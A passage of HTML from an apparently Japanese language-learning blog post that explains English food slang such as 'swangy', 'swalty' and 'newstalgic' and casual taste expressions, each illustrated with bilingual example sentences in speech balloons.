<p><strong>I love the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swavory </mark>combination of bacon and maple syrup on the pancakes.</strong><br>パンケーキにベーコンとメープルシロップを添えた、甘塩っぱい組み合わせが大好きなの</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="128" height="128" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=128%2C128&#038;ssl=1" alt="" class="wp-image-5211" style="width:20px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?w=128&amp;ssl=1 128w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=65%2C65&amp;ssl=1 65w" sizes="auto, (max-width: 128px) 100vw, 128px" /></figure>



<h3 class="wp-block-heading">SWANGY（スワンジー）</h3>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Chili-Lime-Salmon-Tacos-with-Mango-Salsa-from-HeatherChristo.com_.jpg?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-6491" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Chili-Lime-Salmon-Tacos-with-Mango-Salsa-from-HeatherChristo.com_.jpg?w=1024&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Chili-Lime-Salmon-Tacos-with-Mango-Salsa-from-HeatherChristo.com_.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Chili-Lime-Salmon-Tacos-with-Mango-Salsa-from-HeatherChristo.com_.jpg?resize=768%2C512&amp;ssl=1 768w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Spicy（スパイシー）+ sweet（スイート） + tangy（酸味）</mark></strong> を掛け合わせた造語スラング。甘辛に、酢や柑橘系の風味が加わったもの。<strong>酸辣湯（サンラータン）</strong>、<strong>チリ マンゴー ソースのタコス</strong>、<strong>スパイシースイート＆サワー コーヒー クリーマー（甘みと辛味、酸味をプラスしたコーヒー）</strong>などが人気です。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L18.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeef2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeef2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p>T<strong>hese <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Swangy</mark> Pineapple BBQ Ribs balance smoky sweetness with a tangy twist and a gentle spicy finish.</strong><br>スワンジーなパイナップルBBQリブは、甘さと酸味、それにほんのりした辛さが絶妙だわ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R25.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e5f6ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e5f6ff"></span><span class="vk_balloon_content_after "></span>
<p>E<strong>very bite of the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Swangy </mark>Sweet &amp; Spicy Shrimp Bowl hits you with layered flavors — sweet, tangy, and boldly spicy.</strong><br>スワンジーなシュリンプボウルは、甘味・酸味・辛味が重なる奥深い味わいに仕上げました</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>These <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Swangy </mark>Citrus Chili Wings deliver a zesty tang, a touch of sweetness, and a fiery kick.</strong><br>スワンジーなシトラスチリの手羽の唐揚げは、爽やかな酸味と甘味と刺激的な辛さがたまらないね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="128" height="128" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=128%2C128&#038;ssl=1" alt="" class="wp-image-5211" style="width:20px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?w=128&amp;ssl=1 128w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=65%2C65&amp;ssl=1 65w" sizes="auto, (max-width: 128px) 100vw, 128px" /></figure>



<h3 class="wp-block-heading">SWALTY（スウォルティ）</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="509" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=678%2C509&#038;ssl=1" alt="" class="wp-image-6475" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=1024%2C768&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=300%2C225&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=768%2C576&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=678%2C509&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=326%2C245&amp;ssl=1 326w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=80%2C60&amp;ssl=1 80w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?resize=320%2C240&amp;ssl=1 320w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/The_Art_of_Flavor_Mixing_Elevate_Your_Candy_Game_with_These_Combos_4debaa48-e0c5-4457-9074-bb38df07ad43_1280x.png?w=1280&amp;ssl=1 1280w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Sweet （甘い）+ salty（塩味）</mark></strong>を掛け合わせた「<strong>甘塩っぱい</strong>」を指す造語スラング。甘さが、ほのかな塩味によって引き立てられる味わいが特徴。<strong>塩キャラメル</strong>、<strong>はちみつローストピーナッツ</strong>、<strong>チョコレートのシーソルトバイト</strong>、<strong>ポテチのチョコ</strong>がけなどが人気です。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L9.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>The <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swalty</mark> caramel coating brings out the richness of the roasted nuts.</strong><br>スウォルティなキャラメルコーティングが、ローストされたナッツのコクを引き立ててるね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R24.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffede0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffede0"></span><span class="vk_balloon_content_after "></span>
<p><strong>The <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swalty</mark> butter sauce gives the popcorn a mellow yet addictive flavor.</strong><br>スウォルティなバターソースが、ポップコーンにまろやかでクセになる味わいを与えるね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L14.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e4f4fe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e4f4fe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swalty</mark> soy caramel adds a unique twist to this soft pudding.</strong><br>スウォルティな醤油キャラメルが、このプリンにユニークなアクセントを加えてるんだね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="128" height="128" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=128%2C128&#038;ssl=1" alt="" class="wp-image-5211" style="width:20px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?w=128&amp;ssl=1 128w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=65%2C65&amp;ssl=1 65w" sizes="auto, (max-width: 128px) 100vw, 128px" /></figure>



<h3 class="wp-block-heading">NEWSTALGIC（ニュースタルジー）</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="453" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/59396634ff77d30b0632f91781928295.png?resize=678%2C453&#038;ssl=1" alt="" class="wp-image-6467" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/59396634ff77d30b0632f91781928295.png?resize=1024%2C684&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/59396634ff77d30b0632f91781928295.png?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/59396634ff77d30b0632f91781928295.png?resize=768%2C513&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/59396634ff77d30b0632f91781928295.png?w=1200&amp;ssl=1 1200w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">New（新しい）</mark></strong>と<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">nostalgic（ノスタルジック）</mark></strong>を掛け合わせた造語スラング。単なる懐かしいレトロや復刻ではなく、現代風に進化・アレンジされているのが特徴です。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L20.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#defff2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #defff2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>My <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">newstalgic </mark>retro cream soda float blends the charm of old-school soda fountains with a modern, refreshing twist.</strong><br>昔ながらのクリームソーダの魅力にモダンで爽やかなひねりを加えてニュースタルジックな一杯にしてみたよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R17.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefe3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffefe3"></span><span class="vk_balloon_content_after "></span>
<p><strong>Our<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> newstalgic</mark> miso butter ramen harmonizes the hearty richness of classic flavors with a smoother, modern finish.</strong><br>うちの昔ながらの味噌バターのコクに、現代的な滑らかさを加えたニュースタルジックなラーメンを楽しんで</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L6.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f9f3ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f9f3ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Mom’s <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">newstalgic</mark> banana split revived the classic diner treat with premium gelato, artisanal sauces, and a sleek modern presentation.</strong><br>昔ながらのバナナスプリットを、ママがジェラートや手作りソースで現代的にアップデートしたんだ</p>
</div></div></div>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<h2 class="wp-block-heading">カジュアルな食レポ表現</h2>



<h3 class="wp-block-heading">Marriage：材料を混ぜて、味をなじませる</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-6489" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?resize=678%2C381&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?w=1600&amp;ssl=1 1600w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/Wine-and-Cheese.png?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L5.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>This wine and cheese is a perfect <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">marriage</mark> of flavors.</strong><br>このワインとチーズは、風味の完璧なマリアージュだね</p>
</div></div></div>



<h3 class="wp-block-heading">Flavor bomb／Flavor explosion：一口で味のパンチがすごい、口の中で色々な味が広がる</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L35.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fff3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0fff3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Adding parmesan cheese to the soup acts as a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">flavor bomb</mark>.</strong><br>スープにパルメザンチーズを加えると、旨味の爆弾になるよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R25.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Every bite is a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">flavor explosion</mark>.</strong><br>一口食べるたびに感動するんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Slap：最高にイケてる</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L23.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff3ea"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff3ea transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This flavor combo <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">slaps</mark>!<br></strong>この味の組み合わせは最高！</p>
</div></div></div>



<h3 class="wp-block-heading">Flavor pairing／Food matching／Food combo：一緒に食べることで相乗効果が生まれる組み合わせ</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L27.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffebf0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffebf0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The secret to this dish is the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">food matching</mark> of savory pork and sweet apples</strong><br>この料理の秘訣は、香ばしい豚肉と甘いリンゴのペアリングだね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R24.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff6dd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff6dd"></span><span class="vk_balloon_content_after "></span>
<p><strong>Try this <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">flavor pairing</mark> grilled pineapple with spicy chili.</strong><br>このグリルしたパイナップルとスパイシーなチリの組み合わせを食べてみて</p>
</div></div></div>



<p></p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<h2 class="wp-block-heading">味や香りを表す英語</h2>



<h3 class="wp-block-heading">Sweet：甘い</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-6605" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?resize=1536%2C864&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?resize=678%2C381&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?w=1600&amp;ssl=1 1600w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/lemon_birthday_cake_53643_16x9.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L29.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dff3ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dff3ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The birthday cake you made for me was so moist and <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">sweet</mark>, it made me super happy.</strong><br>君が作ってくれたバースデーケーキはしっとりと甘く、最高にハッピーな気分にしてくれたよ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Spicy／Hot：辛い</h3>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="407" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/dt-vegetarian-mapo-tofu-jumbo.jpg?resize=678%2C407&#038;ssl=1" alt="" class="wp-image-6606" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/dt-vegetarian-mapo-tofu-jumbo.jpg?w=1024&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/dt-vegetarian-mapo-tofu-jumbo.jpg?resize=300%2C180&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/dt-vegetarian-mapo-tofu-jumbo.jpg?resize=768%2C461&amp;ssl=1 768w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L17.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeeee"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeeee transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>My boyfriend can&#8217;t handle<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> spicy</mark> food at all, so I want to go to Thai or Sichuan food for the girls&#8217; night out this Friday.</strong><br>彼って全く辛いものが苦手だから、金曜の女子会はタイ料理か四川料理がいいなー</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R19.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2fff4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e2fff4"></span><span class="vk_balloon_content_after "></span>
<p><strong>This Mexican sauce is extremely <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">hot</mark>, so be careful when you try it.</strong><br>このメキシカンサルサはとても辛いから試すときは注意してね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Salty：塩辛い</h3>



